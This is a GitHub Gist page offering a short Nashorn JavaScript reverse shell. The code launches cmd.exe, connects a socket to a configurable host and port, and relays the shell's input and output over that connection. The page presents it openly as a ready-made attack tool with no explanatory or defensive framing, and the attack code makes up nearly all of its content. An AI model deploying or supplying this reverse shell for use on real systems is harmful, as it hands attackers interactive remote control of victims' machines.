-
-
Save mosesrenegade/dd565dba9360a84b3c2d6e44b8381dbd to your computer and use it in GitHub Desktop.
Nashorn Javascript Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var host="localhost"; | |
var port=8044; | |
var cmd="cmd.exe"; | |
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment